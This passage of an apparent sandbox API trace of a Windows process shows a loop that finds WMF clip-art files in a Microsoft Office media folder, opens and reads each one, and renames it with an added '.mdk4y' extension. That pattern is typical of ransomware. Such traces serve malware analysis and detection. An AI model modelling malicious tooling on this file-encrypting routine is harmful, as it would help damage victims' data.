returned 1 [0179.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825474900000) returned 1 [0179.520] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf.mdk4y")) returned 1 [0179.521] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.521] AreFileApisANSI () returned 1 [0179.521] GetACP () returned 0x4e4 [0179.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0149627.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0149627.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.521] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.522] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825475200000) returned 1 [0179.522] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa80a, lpOverlapped=0x0) returned 1 [0179.523] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825475300000) returned 1 [0179.523] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825475300000) returned 1 [0179.524] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf.mdk4y")) returned 1 [0179.524] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.524] AreFileApisANSI () returned 1 [0179.524] GetACP () returned 0x4e4 [0179.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0149887.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0149887.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.525] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825475600000) returned 1 [0179.526] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ffa, lpOverlapped=0x0) returned 1 [0179.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825475700000) returned 1 [0179.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825475700000) returned 1 [0179.527] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf.mdk4y")) returned 1 [0179.528] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.528] AreFileApisANSI () returned 1 [0179.528] GetACP () returned 0x4e4 [0179.528] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0157763.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0157763.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.528] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825475800000) returned 1 [0179.528] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2068, lpOverlapped=0x0) returned 1 [0179.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825476000000) returned 1 [0179.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825476000000) returned 1 [0179.530] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf.mdk4y")) returned 1 [0179.531] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.531] AreFileApisANSI () returned 1 [0179.531] GetACP () returned 0x4e4 [0179.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0157995.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0157995.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.531] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.531] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825476100000) returned 1 [0179.532] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d94, lpOverlapped=0x0) returned 1 [0179.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825477000000) returned 1 [0179.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825477000000) returned 1 [0179.540] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf.mdk4y")) returned 1 [0179.541] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.541] AreFileApisANSI () returned 1 [0179.541] GetACP () returned 0x4e4 [0179.541] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0158007.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0158007.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.541] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825477100000) returned 1 [0179.541] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1426, lpOverlapped=0x0) returned 1 [0179.558] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825478800000) returned 1 [0179.558] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825478800000) returned 1 [0179.558] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf.mdk4y")) returned 1 [0179.559] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.559] AreFileApisANSI () returned 1 [0179.559] GetACP () returned 0x4e4 [0179.559] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0183168.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0183168.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.559] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825479000000) returned 1 [0179.560] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4d38, lpOverlapped=0x0) returned 1 [0179.575] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825480500000) returned 1 [0179.575] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825480500000) returned 1 [0179.576] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf.mdk4y")) returned 1 [0179.577] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.577] AreFileApisANSI () returned 1 [0179.577] GetACP () returned 0x4e4 [0179.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0183290.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0183290.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.577] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825480700000) returned 1 [0179.577] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7018, lpOverlapped=0x0) returned 1 [0179.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825482400000) returned 1 [0179.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825482400000) returned 1 [0179.594] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf.mdk4y")) returned 1 [0179.595] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.595] AreFileApisANSI () returned 1 [0179.595] GetACP () returned 0x4e4 [0179.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0183328.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0183328.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.596] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.596] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825482600000) returned 1 [0179.596] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x14fa, lpOverlapped=0x0) returned 1 [0179.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825485400000) returned 1 [0179.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825485400000) returned 1 [0179.625] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf.mdk4y")) returned 1 [0179.626] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.626] AreFileApisANSI () returned 1 [0179.626] GetACP () returned 0x4e4 [0179.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0185604.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0185604.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.626] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825485700000) returned 1 [0179.627] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x171c, lpOverlapped=0x0) returned 1 [0179.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825487200000) returned 1 [0179.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825487200000) returned 1 [0179.642] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf.mdk4y")) returned 1 [0179.643] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.643] AreFileApisANSI () returned 1 [0179.643] GetACP () returned 0x4e4 [0179.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0186002.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0186002.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.643] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825487400000) returned 1 [0179.645] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2f64, lpOverlapped=0x0) returned 1 [0179.646] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825487600000) returned 1 [0179.646] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825487600000) returned 1 [0179.646] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf.mdk4y")) returned 1 [0179.647] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.647] AreFileApisANSI () returned 1 [0179.647] GetACP () returned 0x4e4 [0179.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0186348.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0186348.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.647] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825487700000) returned 1 [0179.647] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b3a, lpOverlapped=0x0) returned 1 [0179.668] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825489800000) returned 1 [0179.668] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825489800000) returned 1 [0179.668] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf.mdk4y")) returned 1 [0179.669] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.669] AreFileApisANSI () returned 1 [0179.669] GetACP () returned 0x4e4 [0179.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187423.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187423.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.669] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825490000000) returned 1 [0179.670] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4746, lpOverlapped=0x0) returned 1 [0179.697] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825492700000) returned 1 [0179.697] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825492700000) returned 1 [0179.698] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf.mdk4y")) returned 1 [0179.699] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.699] AreFileApisANSI () returned 1 [0179.699] GetACP () returned 0x4e4 [0179.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0195384.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0195384.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.699] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825493000000) returned 1 [0179.700] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x31da, lpOverlapped=0x0) returned 1 [0179.701] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825493400000) returned 1 [0179.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825493400000) returned 1 [0179.704] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf.mdk4y")) returned 1 [0179.705] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.705] AreFileApisANSI () returned 1 [0179.705] GetACP () returned 0x4e4 [0179.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0195534.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0195534.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.705] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825493600000) returned 1 [0179.706] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x275c, lpOverlapped=0x0) returned 1 [0179.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825494700000) returned 1 [0179.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825494700000) returned 1 [0179.718] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf.mdk4y")) returned 1 [0179.719] FindNextFileW (in: 